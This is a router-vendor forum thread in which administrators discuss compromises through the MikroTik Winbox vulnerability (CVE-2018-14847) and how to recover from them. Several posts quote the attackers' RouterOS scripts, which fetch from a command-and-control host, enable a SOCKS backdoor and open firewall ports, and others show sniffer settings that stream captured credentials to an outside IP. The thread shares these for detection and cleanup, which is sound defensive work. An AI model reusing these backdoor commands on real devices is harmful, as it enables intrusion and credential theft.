Don't distribute the information over different platform without having all having the same information.

I an not that harsh because I like to be so. I want that Mikrotik will give their customers beter product experience and security.

msatter · Mon Aug 06, 2018 3:56 pm

We have added more details, so that it is more clear:

https://blog.mikrotik.com/security/winb ... ility.html
thanks, it is much more clear now. Except that the 6.28 version is vulnerable too. I am able to read usernames/passwords from boards with this version using winbox vulnerability exploit code...

Please e-mail Mikrotik support with your findings on support@mikrotik.com so they can have a look into that. It will not have any impact on the advise to which minimal required RouterOS version have to be used.

msatter · Mon Aug 06, 2018 3:57 pm

It looks that an CVE has been created and I don't know enough about if it is done by the one who discovered this vulnerability of by Mikrotik self. The CVE number is: CVE-2018-14847

Mon Aug 06, 2018 4:09 pm

CVE numbers don't have owners or publishers. Yes, you can use that CVE number to refer to this vulnerability. We will try to make numbers for any next vulnerability, if such would be discovered.

awacenter · Mon Aug 06, 2018 5:52 pm

We detect these issues and we try to update and upgrade all mikrotik devices.
Besid of this, we block all source IP via BGP when we can inform to our ISP.

honzam · Mon Aug 06, 2018 8:17 pm

We will try to make numbers for any next vulnerability, if such would be discovered.

I hope no

BrianHiggins · Mon Aug 06, 2018 9:56 pm

Is there anymore detailed information than the old blog post? I've seen numerous routers running 6.40.8 bugfix get compromised in the last few days. Winbox was externally accessible. On Friday I updated a couple older routers that had not yet been compromised that weren't on 6.40.8 to 6.40.8, only too find those routers compromised today. I've now updated nearly everything to 6.42.6 current and restricted 8291 to only the range of external IPs that need access, and so far I haven't seen any re-compromised routers.

Changes I've found in compromised routers

/system logging action
memory-lines set to 1

/ip socks
enabled, port set, connection timeout changed, max connections increased

/ip firewall filter
input chain tcp allow rule to match socks port
drop rules disabled on all chains

/system scripts
one or more scripts added
first script seen calls tool fetch to download files
second script seen makes all changes seen above except memory-lines=1, unclear when / how that's set

/system scheduler
one or more schedules added to call scripts mentioned

/user
add service user account

Other users I've spoken with report finding an empty mikrotik.php text file in /file, though I didn't encounter that myself.

One interesting thing I noted was that the only routers I found compromised were also routers running additional services or with NAT rules exposing services. I'm guessing they didn't scan for 8291, they instead scanned for something else to build the list of IPs to target. every single router that was otherwise locked down without any services beside 8291 exposed regardless of build number remained uncompromised. Might just be a coincidence, but was worth noting.

EDIT, added sample of scripts found on one of the routers.

/system script
add name=script4_ owner=service policy=ftp,reboot,read,write,policy,test,password,sensitive source=\
    "/tool fetch address=95.154.216.167 port=2008 src-path=/mikrotik.php mode=http keep-result=no"
add name="port 39593" owner=admin policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source="/ip firewall filter remove [/ip firewall filter find where comment ~ \"port [0-9]*\"];/ip socks set enabled=yes port=39593 max-connections=255 connection-idle-timeout=60;/ip socks access remove [/ip socks access find];/ip firewall filter add chain=input protocol=tcp port=39593 action=accept comment=\"port 39593\";/ip firewall filter move [/ip firewall filter find comment=\"port 39593\"] 1;"

tippenring · Mon Aug 06, 2018 10:48 pm

Is there anymore detailed information than the old blog post? I've seen numerous routers running 6.40.8 bugfix get compromised in the last few days. Winbox was externally accessible. On Friday I updated a couple older routers that had not yet been compromised that weren't on 6.40.8 to 6.40.8, only too find those routers compromised today.

The conclusion that your routers were not compromised prior to the upgrade to 6.40.8 is invalid. The correct conclusion is that there was no *apparent* indication of compromise. I'll bet you didn't change the admin passwords when you upgraded to 6.40.8. Is that correct? Assuming no password change, someone connected to your router some time ago and downloaded the admin credentials. They only recently logged in and changed your configuration.

I've now updated nearly everything to 6.42.6 current and restricted 8291 to only the range of external IPs that need access, and so far I haven't seen any re-compromised routers.

Restricting admin access to only known good source IPs is a good practice. You could also look at port knocking if you need more flexibility.

gotsprings · Tue Aug 07, 2018 12:27 am

Is there anymore detailed information than the old blog post? I've seen numerous routers running 6.40.8 bugfix get compromised in the last few days. Winbox was externally accessible. On Friday I updated a couple older routers that had not yet been compromised that weren't on 6.40.8 to 6.40.8, only too find those routers compromised today.
The conclusion that your routers were not compromised prior to the upgrade to 6.40.8 is invalid. The correct conclusion is that there was no *apparent* indication of compromise. I'll bet you didn't change the admin passwords when you upgraded to 6.40.8. Is that correct? Assuming no password change, someone connected to your router some time ago and downloaded the admin credentials. They only recently logged in and changed your configuration.

I've now updated nearly everything to 6.42.6 current and restricted 8291 to only the range of external IPs that need access, and so far I haven't seen any re-compromised routers.
Restricting admin access to only known good source IPs is a good practice. You could also look at port knocking if you need more flexibility.

I looked over the log of another installers router.

[admin@MikroTik] /log> print
jul/06 21:10:09 system,info verified routeros-arm-6.42.5.npk
jul/06 21:10:09 system,info installed routeros-arm-6.42.5

jul/16 12:00:50 system,info,account user admin logged in from 194.40.240.254 via winbox
jul/16 12:00:53 system,info,account user admin logged in from 194.40.240.254 via telnet
jul/16 12:00:54 system,info socks config changed by admin
jul/16 12:00:55 system,info filter rule added by admin
jul/16 12:00:55 system,info filter rule moved by admin
jul/16 12:00:56 system,info,account user admin logged out from 194.40.240.254 via winbox
jul/16 12:00:56 system,info,account user admin logged out from 194.40.240.254 via telnet

jul/24 21:58:07 system,info,account user admin logged in from 185.153.198.228 via winbox
jul/24 21:58:10 system,info,account user admin logged in from 185.153.198.228 via telnet
jul/24 21:58:11 system,info user service added by admin
jul/24 21:58:11 system,info filter rule removed by admin
jul/24 21:58:12 system,info socks config changed by admin
jul/24 21:58:13 system,info filter rule added by admin
jul/24 21:58:13 system,info filter rule moved by admin
jul/24 21:58:14 system,info,account user admin logged out from 185.153.198.228 via winbox
jul/24 21:58:14 system,info,account user admin logged out from 185.153.198.228 via telnet

When they updated they didn't change the password.

tippenring · Tue Aug 07, 2018 1:12 am

When they updated they didn't change the password.

No, the attacker didn't change the password. If he did, that would give away that the router had been compromised. The attacker didn't want you to know he had the admin password for the router. So, you upgraded software, but did not change the password that the attacker obtained when you were running the vulnerable version.

gotsprings · Tue Aug 07, 2018 1:38 am

Tippenring.

I was agreeing with you. The logs were proof that 2 different attackers had the password from before the upgrade

aswin · Tue Aug 07, 2018 5:36 am

I have one remote router (CCR1009 v6.40.7) which infected with "sys" virus/spyware version 30RC9 on 2Aug. This spyware lock my "admin" account to readonly and create "sys account as full read/write policy and also lock the allowed address login from 127.0.0.1 only. The script also change the time of reformat-hold-button+reformat-hold-button-max in every second
I use the exploit which can get the "sys" password but I don't know how to login to router and reset them to factory configuration. Can I use the serial port to console login or need to reset nand gate chip?
https://ibb.co/gsfc0e
https://ibb.co/nHDKwK
https://ibb.co/d0RuVe
https://ibb.co/b44RbK
https://ibb.co/cww03z

tippenring · Tue Aug 07, 2018 7:12 am

Tippenring.

I was agreeing with you. The logs were proof that 2 different attackers had the password from before the upgrade

I misunderstood your post. My apologies.

Tue Aug 07, 2018 8:08 am

I have one remote router (CCR1009 v6.40.7) which infected with "sys" virus/spyware version 30RC9 on 2Aug. This spyware lock my "admin" account to readonly and create "sys account as full read/write policy and also lock the allowed address login from 127.0.0.1 only. The script also change the time of reformat-hold-button+reformat-hold-button-max in every second
I use the exploit which can get the "sys" password but I don't know how to login to router and reset them to factory configuration. Can I use the serial port to console login or need to reset nand gate chip?
https://ibb.co/gsfc0e
https://ibb.co/nHDKwK
https://ibb.co/d0RuVe
https://ibb.co/b44RbK
https://ibb.co/cww03z

1) Wait, so you have the "sys" password? What is it? I think it will be useful for others to find out too.
2) Just log in with Winbox username "sys" and the password that you found. What is the question?

grusu · Tue Aug 07, 2018 8:22 am

As far as I can see in the first picture, the sys user can log only from IP 127.0.0.1 so you can only try from the serial port.

aswin · Tue Aug 07, 2018 9:26 am

I have one remote router (CCR1009 v6.40.7) which infected with "sys" virus/spyware version 30RC9 on 2Aug. This spyware lock my "admin" account to readonly and create "sys account as full read/write policy and also lock the allowed address login from 127.0.0.1 only. The script also change the time of reformat-hold-button+reformat-hold-button-max in every second
I use the exploit which can get the "sys" password but I don't know how to login to router and reset them to factory configuration. Can I use the serial port to console login or need to reset nand gate chip?
https://ibb.co/gsfc0e
https://ibb.co/nHDKwK
https://ibb.co/d0RuVe
https://ibb.co/b44RbK
https://ibb.co/cww03z
1) Wait, so you have the "sys" password? What is it? I think it will be useful for others to find out too.
2) Just log in with Winbox username "sys" and the password that you found. What is the question?

1. I have try to read this topic viewtopic.php?f=2&t=131166&p=646273&hil ... ys#p646273 but no success because of newer spyware version I just google from internet and there are exploits which can use the mikrotik vulnerability to get mikrotik password with easily (python + script + destination IP). So I just understand why this bug can spread too fast to many mikrotik router which not patch to safe baseline version. (including me 555)
https://ibb.co/jh2Siz

2. I have try to login to remote mikrotik with that password but no success so I think the problem come from the hacker allow only IP 127.0.0.1 to login with "sys" account.
And the hacker use script to disable hard reset, so I just ask can I use the serial cable to login. (infected router is still locate on other place)

Jotne · Tue Aug 07, 2018 9:29 am

The title of this thread is some misleading:
Winbox vulnerability: please upgrade
It looks like Winbox is the problem, not the RouterOS.
It does not help to upgrade the Winbox

Tue Aug 07, 2018 9:42 am

The title of this thread is some misleading:
Winbox vulnerability: please upgrade
It looks like Winbox is the problem, not the RouterOS.
It does not help to upgrade the Winbox

This is why sometimes reading is important. Quote:

vulnerability in the RouterOS Winbox service, that was patched in RouterOS

Steps to be taken: Upgrade RouterOS to the latest release

It is really so hard to read more than the first 4 words?

Jotne · Tue Aug 07, 2018 9:46 am

- Implement a good firewall according to the article here: https://wiki.mikrotik.com/wiki/Manual:S ... our_Router

When you setup a default NAT, it looks like that all service port are blocked from the outside.
Do I still need to specify for where Windbox should be allowed?

/ip service set winbox address=192.168.88.0/24

I only have two user on the net, me and my wife

Also when I do secure http and winbox services using IP, I can not see any log from the RouterOS that someone not on that IP(range) tries to log inn. This should be logged as I can do with a normal FW/Nat/Mangle rule. I would then be able to see if my security upgrade does help me!!

gotsprings · Tue Aug 07, 2018 4:48 pm

- Implement a good firewall according to the article here: https://wiki.mikrotik.com/wiki/Manual:S ... our_Router
When you setup a default NAT, it looks like that all service port are blocked from the outside.
Do I still need to specify for where Windbox should be allowed?
Code: Select all
/ip service set winbox address=192.168.88.0/24
I only have two user on the net, me and my wife

Also when I do secure http and winbox services using IP, I can not see any log from the RouterOS that someone not on that IP(range) tries to log inn. This should be logged as I can do with a normal FW/Nat/Mangle rule. I would then be able to see if my security upgrade does help me!!

Add this to your firewall.


/ip firewall filter add chain=input src-address=!192.168.88.0/24 proto=tcp dst-port=8291 action=passthrough log=yes log-prefix="Winbox External Probe" place-before=1

That would give you a counter and log entry

kobuki · Tue Aug 07, 2018 8:06 pm

2. I have try to login to remote mikrotik with that password but no success so I think the problem come from the hacker allow only IP 127.0.0.1 to login with "sys" account.
And the hacker use script to disable hard reset, so I just ask can I use the serial cable to login. (infected router is still locate on other place)

If you haven't figured it out yet, you could try connecting to 127.0.0.1 on your router using the socks service which has probably been enabled on your device by the attacker. That assumes you've already hacked the 'sys' user's password.

Jotne · Tue Aug 07, 2018 10:12 pm


/ip firewall filter add chain=input src-address=!192.168.88.0/24 proto=tcp dst-port=8291 action=passthrough log=yes log-prefix="Winbox External Probe" place-before=1

That would give you a counter and log entry

Thanks, did not think of that

aswin · Wed Aug 08, 2018 2:11 am

2. I have try to login to remote mikrotik with that password but no success so I think the problem come from the hacker allow only IP 127.0.0.1 to login with "sys" account.
And the hacker use script to disable hard reset, so I just ask can I use the serial cable to login. (infected router is still locate on other place)
If you haven't figured it out yet, you could try connecting to 127.0.0.1 on your router using the socks service which has probably been enabled on your device by the attacker. That assumes you've already hacked the 'sys' user's password.

Thank you kobuki for your suggestion. Perfect!! Now I can remote login to the infected router with user "sys" via SOCK
Thank you again. It can save a lot of time for me instead of requesting client to send router back to me .

kobuki · Wed Aug 08, 2018 2:17 am

Now I can remote login to the infected router with user "sys" via SOCK

Good! Thanks for the feedback. Your attacker was a particularly malicious one, almost locking you out completely. Almost.

excession · Wed Aug 08, 2018 2:41 am

Thats it! THX!

In scripts are
Code: Select all
/tool fetch address=95.154.216.163 port=2008 src-path=/mikrotik.php mode=http
Does anyone have the contents of the payload they can post? I've tried hitting the above but it's 404ing now.

Thanks
I grabbed the PHP file before fixing my router. I opened it with notepad and it was completely blank......

Interesting thanks, I wonder then if the empty file is just a byproduct of the fetch command and the point is to execute the PHP file on that web server rather than download it. Perhaps it’s part of the command and control system and by calling this file the router is checking in. Certainly such a call would provide a loggable IP address.

kobuki · Wed Aug 08, 2018 2:44 am

It was empty where I checked, too. It's possibly just a presence indicator in the swarm for the C&C as you also mentioned...

excession · Wed Aug 08, 2018 2:45 am

2. I have try to login to remote mikrotik with that password but no success so I think the problem come from the hacker allow only IP 127.0.0.1 to login with "sys" account.
And the hacker use script to disable hard reset, so I just ask can I use the serial cable to login. (infected router is still locate on other place)
If you haven't figured it out yet, you could try connecting to 127.0.0.1 on your router using the socks service which has probably been enabled on your device by the attacker. That assumes you've already hacked the 'sys' user's password.

Smart idea. Is he trying to use Winbox to connect and if so how would you route a Winbox connection through a socks proxy?

43north · Wed Aug 08, 2018 2:52 am

It was empty where I checked, too. It's possibly just a presence indicator in the swarm for the C&C as you also mentioned...

As I mentioned my file was empty as well, makes sense with what you guys are saying.

kobuki · Wed Aug 08, 2018 3:00 am

Is he trying to use Winbox to connect

No idea, but possible.

how would you route a Winbox connection through a socks proxy?

I assume that's a rhetorical question.

excession · Wed Aug 08, 2018 3:19 am

Is he trying to use Winbox to connect
No idea, but possible.

how would you route a Winbox connection through a socks proxy?
I assume that's a rhetorical question.

Haha, actually no, just one based on an almost complete ignorance of socks!
I did just find some interesting discussion here: viewtopic.php?t=101874
I think I now understand: I imagine he used an ssh client to open the socks connection then ssh to connect to his router through that tunnel.

aswin · Wed Aug 08, 2018 4:15 am

2. I have try to login to remote mikrotik with that password but no success so I think the problem come from the hacker allow only IP 127.0.0.1 to login with "sys" account.
And the hacker use script to disable hard reset, so I just ask can I use the serial cable to login. (infected router is still locate on other place)
If you haven't figured it out yet, you could try connecting to 127.0.0.1 on your router using the socks service which has probably been enabled on your device by the attacker. That assumes you've already hacked the 'sys' user's password.
Smart idea. Is he trying to use Winbox to connect and if so how would you route a Winbox connection through a socks proxy?

From kobuki suggestion,I use http to login via sock not winbox.

blackzero · Wed Aug 08, 2018 12:26 pm

sporkman · Thu Aug 09, 2018 8:59 am

If you're curious how the bug works, this article is a good read:

https://n0p.me/winbox-bug-dissection/

The vulnerability would have been less of a problem if Mik used industry-standard password-hashing methods - since the vulnerability was allowing a remote attacker to download any file, and there's a file with a very weak encryption of the admin password, it makes getting a legit login really easy. If the password were properly encrypted, then the attacker would be out of luck or at best, have to spend lots of effort cracking the password. And the better your password was, the harder to crack...

The bit about how Winbox fetches unsigned DLLs from the router is frightening as hell. You have a signed app (Winbox) grabbing DLLs (unsigned) from the router - imagine what an attacker could do by loading a trojaned DLL onto your Winbox-running PC.

I also saw a new variation on a hacked router today - they had started a packet sniffer watching for port 20, 21, 110 and 143 traffic and sending it off to a listener on the host 37.1.207.114. Fun trick! Looking for any cleartext passwords I assume. If they were more adventurous, they'd grab 5060 UDP and make some free phone calls too.

Thu Aug 09, 2018 10:25 am

Winbox do not fetch DLLS for quite some time now. Do not use old winbox.

sporkman · Thu Aug 09, 2018 10:51 am

Winbox do not fetch DLLS for quite some time now. Do not use old winbox.

Don't tell me, tell the guy that wrote the blog post. He did see it happen in his tcpdump though, I don't think he wrote that more than 3-4 months ago.

allstarcomps · Tue Aug 14, 2018 12:11 am

Here is the script I wrote to clean up after IP-socks/user service attacked some of the old routers I have. After cleaning up it downloads the latest ROS and does a midnight reboot to install the latest ROS and firmware. I do recommend testing in a lab before deploying in production. I did not check for disabled drop rules.

/system logging action set memory-lines=1000 [find where name=memory]
/ip firewall filter remove [/ip firewall filter find where comment ~ "port [0-9]*"];
/ip socks set enabled=no port=1080 max-connections=200 connection-idle-timeout=00:02:00;
/ip socks access remove [/ip socks access find];
/system script remove [find where source~"mikrotik.php"]
/system script remove [find where source~"socks set enabled=yes"]
/system scheduler remove [find where name~"port"]
/system scheduler remove [find where owner="service"]
/user remove [find name=service]

/system scheduler
add name=midnightReboot on-event="/system reboot \r\
    \ny" start-time=23:59:00
/system scheduler
add name=updateFirmware on-event="/system scheduler remove [find where name=\"up\
    dateFirmware\"]\r\
    \n:delay 2s\r\
    \n/system scheduler remove [find where name=\"midnightReboot\"]\r\
    \n/system routerboard upgrade\r\
    \n:delay 10s\r\
    \n/system reboot\r\
    \ny" start-time=startup
/system package update download

CsXen · Wed Aug 22, 2018 7:04 pm

Hi.

When will you backport this vulnerability patches to the mipsle branch ? I want to upgrade our RB532's, RB133's every time, when I read this security warnings, but no .npk available.

Best regards: CsXen

Thu Aug 23, 2018 9:28 am

Hi.

When will you backport this vulnerability patches to the mipsle branch ? I want to upgrade our RB532's, RB133's every time, when I read this security warnings, but no .npk available.

Best regards: CsXen

The v5 releases are NOT AFFECTED AT ALL. Quote from first post:

from 6.29

Also. Use firewall and you are safe. The vulnerability affects devices without any protection only.

npyoung · Thu Aug 23, 2018 9:43 am

How do you recover from this attack? We have 40 Dynadishes that are not responding to Winbox. They do respond partially on port 80, but act strangely. No SSL or telnet was enabled on these CPE's , so that approach is out. Any suggestions?

Deantwo · Thu Aug 23, 2018 4:01 pm

How do you recover from this attack? We have 40 Dynadishes that are not responding to Winbox. They do respond partially on port 80, but act strangely. No SSL or telnet was enabled on these CPE's , so that approach is out. Any suggestions?

You could use netinstall to reinstall them.
See: https://wiki.mikrotik.com/wiki/Manual:Netinstall

Other than that, you might get better help if you send an e-mail to support.
See: https://mikrotik.com/support

kobuki · Thu Aug 23, 2018 4:18 pm

They do respond partially on port 80, but act strangely.

What do you mean by that?

npyoung · Thu Aug 23, 2018 5:59 pm

They do respond partially on port 80, but act strangely.

What do you mean by that?

They are responding normally on port 80 now that I've put them behind a NAT, which I think should cut off access by the hacker. But, the username and/or password has been changed. Seems like there was a "service" entry in the users placed by the hack. Anyone know what the password is for that account?

More after hacking away. Most of them respond on port 80, and able to upgrade, turn off SOCKS, remove service user and change password. About 1/4 of them don't respond, indicate wrong user/pass, or show an error on the webpage. Noticed that the webserver from some are trying to place malicious code.

npyoung · Thu Aug 23, 2018 8:30 pm

How do you recover from this attack? We have 40 Dynadishes that are not responding to Winbox. They do respond partially on port 80, but act strangely. No SSL or telnet was enabled on these CPE's , so that approach is out. Any suggestions?
You could use netinstall to reinstall them.
See: https://wiki.mikrotik.com/wiki/Manual:Netinstall

Other than that, you might get better help if you send an e-mail to support.
See: https://mikrotik.com/support

Already did. Thanks for the heads up on Netinstall.

CsXen · Fri Aug 24, 2018 11:22 am

When will you backport this vulnerability patches to the mipsle branch ? I want to upgrade our RB532's, RB133's every time, when I read this security warnings, but no .npk available.
The v5 releases are NOT AFFECTED AT ALL. Quote from first post:

from 6.29

Don't forget, the last version was routeros-mipsle-6.33.5 on the MIPSLE branch, which is vulnerable. So must I downgrade to prior 6.29 to be safe?
(I can't firewall winbox port, because it must access from anywhere, from mobile or wired internet too. And I can't predict source IP... geoblocking would be a good solution.

)

Best regards: CsXen

Fri Aug 24, 2018 11:31 am

Use VPN (like Ipsec) to connect to the router and allow Winbox access only from VPN.

npyoung · Sat Aug 25, 2018 6:22 am

They do respond partially on port 80, but act strangely.

What do you mean by that?
They are responding normally on port 80 now that I've put them behind a NAT, which I think should cut off access by the hacker. But, the username and/or password has been changed. Seems like there was a "service" entry in the users placed by the hack. Anyone know what the password is for that account?

More after hacking away. Most of them respond on port 80, and able to upgrade, turn off SOCKS, remove service user and change password. About 1/4 of them don't respond, indicate wrong user/pass, or show an error on the webpage. Noticed that the webserver from some are trying to place malicious code.

But wait, there's more. After three days of cutting the infected devices off from the mother ship (killing all incoming direct connections using NAT), most of the Dynadishes that wouldn't allow remote access to fix will respond favorably to Netinstall. However, I did run into one today that was rebooting cyclically in such a way that it wouldn't respond to power off, press reset, power on to put it in Netinstall mode. So, one scrap.

mistry7 · Sat Aug 25, 2018 7:15 am

If the hacker has left the devices with old software, u can use the same Holes to get the set passwort, there are some Python scripts avaible for proof of concept.....

npyoung · Sat Aug 25, 2018 6:02 pm

If the hacker has left the devices with old software, u can use the same Holes to get the set passwort, there are some Python scripts avaible for proof of concept.....

Problem is that of the Dynadishes that are the hard nuts to crack (ie; not responding to Winbox as it's disabled by the hack, http doesn't work enough to get in, ssh and telnet turned off), there's no remote access to work with. It's interesting that some of these dishes, when presumably cut off from access to the mother ship by NAT degrade to cyclically rebooting every minute or so, and some others, seem to respond to a reboot and are nominally still running, even though they are infected.

BTW, what MT says about cleaning off the setup with a new one, absolutely true. Upgrading, changing passwords and rewinding the obvious stuff (second user "service", turning off SOCKS) just results in SOCKS being turned back on, and in the case of one router (in a remote area, wireless interface, which makes it hard to clean remotely), it went right back to a state where it cannot be connected to.

npyoung · Sat Aug 25, 2018 6:42 pm

Has anyone documented exactly what the hack does? Is it possible to expunge it completely without overwriting the device with a new clean restore file? When it comes to CPEs, the wireless interface precludes doing this remotely, as it's MAC doesn't match up with the MAC that the clean restore was generated on.

BTW, MT, feel free to jump in here. Perhaps some software to clean the attack off of infected devices?

Mon Aug 27, 2018 8:47 am

Has anyone documented exactly what the hack does? Is it possible to expunge it completely without overwriting the device with a new clean restore file? When it comes to CPEs, the wireless interface precludes doing this remotely, as it's MAC doesn't match up with the MAC that the clean restore was generated on.

BTW, MT, feel free to jump in here. Perhaps some software to clean the attack off of infected devices?

Using the vulnerability described in the first post, somebody could get your password in clear text, if you had unprotected access to Winbox.
When the person has your password, there are any number of things he could do. The currently most widespread attack was by somebody who connected to such routers and added a SOCKS proxy configuration that runs some cryptomining script in your web browswer, when you hit a not-found 404 webpage.

eider · Mon Aug 27, 2018 9:18 am

To add to what @normis said - I've observed the same attack with SOCKS also attempting to send mass spam via port 25 (and only port 25) using From field in form of [random username]@[domain name from revdns]. The attack also added script and scheduler to run the script. Script was pointing at /mikrotik.php file, but as far as I can tell, it was empty. Possibly it was removed from attacker's server before I managed to check it or it was not used yet.

mkx · Mon Aug 27, 2018 9:29 am

Script was pointing at /mikrotik.php file, but as far as I can tell, it was empty. Possibly it was removed from attacker's server before I managed to check it or it was not used yet.

Regarding the empty mikrotik.php ... keep in mind that it's a PHP which gets executed on web server. It could well be that the point of that script on server is to receive data about owned router and after it processes the data (the most important is router's public IP address), it just returns empty page of type text/plain ... so don't get over confident just because local file seems to be empty.

UGC · Mon Aug 27, 2018 10:51 am

Hello, everyone. I have some ROS 5.26 still running for some reasons. Does this vulnerability affect 5.26?

Mon Aug 27, 2018 10:53 am

Hello, everyone. I have some ROS 5.26 still running for some reasons. Does this vulnerability affect 5.26?

No. Like the first post says, it affects only versionns 6.26 and above (until the fixed versions, see first post)

UGC · Mon Aug 27, 2018 11:08 am

So, there is no need to upgrade it, if I am satisfied how it works?

Mon Aug 27, 2018 11:15 am

Yes, but of course, you should do all the precautions regardless.

use non standart port and username, implement firewall and deny access from unknown addresses etc.

UGC · Mon Aug 27, 2018 11:23 am

Yes, I did all the precautions except the port. I will change it now. Thanks for the answer.

eider · Tue Aug 28, 2018 3:54 pm

keep in mind that it's a PHP which gets executed on web server. It could well be that the point of that script on server is to receive data about owned router and after it processes the data (the most important is router's public IP address), it just returns empty page of type text/plain

Yes. Monitoring of active exploited routers is obvious (in fact there's no even need for this to be PHP file, simple log analyzer would do the job), however the way script was made it could allow any commands from this file to be executed on exploited routers.

Chupaka · Wed Aug 29, 2018 6:48 pm

If the hacker has left the devices with old software, u can use the same Holes to get the set passwort, there are some Python scripts avaible for proof of concept.....
Problem is that of the Dynadishes that are the hard nuts to crack (ie; not responding to Winbox as it's disabled by the hack, http doesn't work enough to get in, ssh and telnet turned off), there's no remote access to work with.

Well, maybe there was MacWinBox access?

sunblade · Tue Sep 04, 2018 1:48 am

Hello,

Packet sniffer may feed IP 37.1.207.114 with data from attacked router.

[xxx@yyy] /tool sniffer> print
only-headers: no
memory-limit: 100KiB
file-limit: 100KiB
streaming-enabled: yes
streaming-server: 37.1.207.114
filter-stream: yes
filter-interface: all
filter-ip-protocol: tcp,udp
filter-port: ftp-data,ftp,pop3,143,1500,10000

I have found some IP address of machine that was used:

IP: 95.154.216.151

aug/22 21:20:24 system,info,account user admin logged in from 95.154.216.151 via winbox
aug/22 21:20:24 system,info socks acl entry added by admin
aug/22 21:20:24 system,info socks config changed by admin
aug/22 21:20:24 system,info new script added by admin
aug/22 21:20:24 system,info new script scheduled by admin
aug/22 21:20:24 system,info new script added by admin
aug/22 21:20:24 system,info new script scheduled by admin
aug/22 21:20:24 system,info new script added by admin
aug/22 21:20:24 system,info,account user admin logged out from 95.154.216.151 via winbox
aug/22 21:20:24 system,info new script scheduled by admin
aug/22 21:20:54 system,info script removed from scheduler by admin
aug/22 21:20:54 system,info filter rule changed by admin
aug/22 21:20:54 system,info script removed by admin
aug/22 21:20:54 system,info script removed from scheduler by admin
aug/22 21:20:54 system,info script removed by admin
***

IP: 198.100.28.129

aug/28 00:50:48 system,info,account user admin logged in from 198.100.28.129 via ssh
aug/28 00:51:12 system,info item changed by admin
aug/28 00:51:20 system,info item changed by admin
aug/28 00:51:27 system,info item changed by admin
aug/28 00:51:44 system,info,account user admin logged out from 198.100.28.129 via ssh

Jotne · Tue Sep 04, 2018 8:05 am

aug/22 21:20:24 system,info socks acl entry added by admin
aug/28 00:51:27 system,info item changed by admin

Think how much easier it would be to debug this if MikroTik logged all commands done on the router.
Please MT do like other network vendor, make all commands visible in the log.
On Cisco you can get it from AAA (Tacacs) that several has requested, or using syslog.

rwf · Wed Sep 05, 2018 1:23 am

BrianHiggins,
I seemed to find it only on routers running Hotspot.

One interesting thing I noted was that the only routers I found compromised were also routers running additional services or with NAT rules exposing services. I'm guessing they didn't scan for 8291, they instead scanned for something else to build the list of IPs to target. every single router that was otherwise locked down without any services beside 8291 exposed regardless of build number remained uncompromised. Might just be a coincidence, but was worth noting.

indnti · Wed Sep 05, 2018 3:04 pm

If you're curious how the bug works, this article is a good read:
https://n0p.me/winbox-bug-dissection/

This article respectively the new vulnerability CVE-2018-14847 makes me afraid of using any mikrotik product anymore

Wed Sep 05, 2018 3:25 pm

If you're curious how the bug works, this article is a good read:
https://n0p.me/winbox-bug-dissection/
This article respectively the new vulnerability CVE-2018-14847 makes me afraid of using any mikrotik product anymore

There is no new vulnerability, it is all the same old. It is in one of the first sentences of that article.

blimbach · Wed Sep 05, 2018 4:15 pm

Currently heise.de writes about attacks on Mikrotik-Devices. Maybe you can correct something on the part of Mikrotik,
because the news does not sound good.

https://www.heise.de/security/meldung/S ... 55288.html

They refer to the following security audit:

https://blog.netlab.360.com/7500-mikrot ... -yours-en/

BR
Boris

Wed Sep 05, 2018 4:19 pm

Boris, did you read the first post in this thread? Did you read the blog entry?
https://blog.mikrotik.com/security/winb ... ility.html

blimbach · Wed Sep 05, 2018 4:26 pm

Boris, did you read the first post in this thread? Did you read the blog entry?
https://blog.mikrotik.com/security/winb ... ility.html

Hello Normis, I think I have read and understood all available information. Nevertheless, heise.de reports as if the security fix by mikrotik is at least questionable.

My post was not a complaint. I just wanted to point out this - possibly false - reporting.

Wed Sep 05, 2018 4:28 pm

I have contacted them on behalf of MikroTik. Let's see if it helps

bsiege · Wed Sep 05, 2018 4:48 pm

This article respectively the new vulnerability CVE-2018-14847 makes me afraid of using any mikrotik product anymore

There is no new vulnerability, it is all the same old. It is in one of the first sentences of that article.

What's new in 6.42.7 (2018-Aug-17 09:48):

MAJOR CHANGES IN v6.42.7:
----------------------
!) security - fixed vulnerabilities CVE-2018-1156, CVE-2018-1157, CVE-2018-1158, CVE-2018-1159;
----------------------

Normally new flaw = new CVE . Be careful to verify!!

Wed Sep 05, 2018 5:05 pm

...
This article respectively the new vulnerability CVE-2018-14847 makes me afraid of using any mikrotik product anymore

I have looked here https://tools.cisco.com/security/center ... nListing.x and I'm wondering who use these products?
And you are lucky if you have software upgrade plan active

kobuki · Wed Sep 05, 2018 5:24 pm

Currently heise.de writes about attacks on Mikrotik-Devices. Maybe you can correct something on the part of Mikrotik,
because the news does not sound good.

https://www.heise.de/security/meldung/S ... 55288.html

It looks like a clickbait, smelling pile of misinformational crap. They better fix the bullshitting there.

msatter · Wed Sep 05, 2018 5:37 pm

I deeply disappointed by Heise to not investigated further for them selves and inquire with Mikrotik. I had high regarded for Heise as a reliable and trustworthy news source.

That they neglected the bugfix version and declared any version below 6.42.x as unsafe. That Heise made this blunder is shocking.

They have now made an update in the news item to correct some errors made by them.

Update: in the update seems that Mikrotik have no love for the bugfixed version because it is not mentioned at all! Be complete in your communications! I keep repeating that.

schadom · Thu Sep 06, 2018 2:22 am

I deeply disappointed by Heise to not investigated further for them selves and inquire with Mikrotik. I had high regarded for Heise as a reliable and trustworthy news source.

That they neglected the bugfix version and declared any version below 6.42.x as unsafe. That Heise made this blunder is shocking.

They have now made an update in the news item to correct some errors made by them.

Update: in the update seems that Mikrotik have no love for the bugfixed version because it is not mentioned at all! Be complete in your communications! I keep repeating that.

And I'm deeply concerned by the thousands of admins and Mikrotik-customers, which evidently were unable to shield their Winbox, Webfig, Telnet and SSH management ports from the global internet, despite numerous warnings in the forums and wiki. I still believe Mikrotik's default configuration is too weak for the majority of their lazy/inexperienced customers, therefore I'd suggest to ship future ROS releases in Fortknox-mode by default. Additionally red warning messages and confirmation popups ("Are you really sure?") should be added to Winbox/Webfig, for example if someone tries to configure Winbox/Webfig/Telnet/SSH to be reachable from 0.0.0.0/0 instead of a specific host, networks or RFC1918. Also password complexity could be enforced by default.

Unlike other vendors products like Cisco, Juniper, etc., Mikrotik's products are (more or less) targeted towards smaller environments, home setups and CPEs or WISPs, where people often are not even familiar with basic security principles or are just very lazy. While I agree it's not Mikrotik's job to educate those people regarding security, the outcome of people's laziness and lack of knowledge could at some point in the future hit us all very badly - eg. Mirai a few months ago.

msatter · Thu Sep 06, 2018 4:21 am

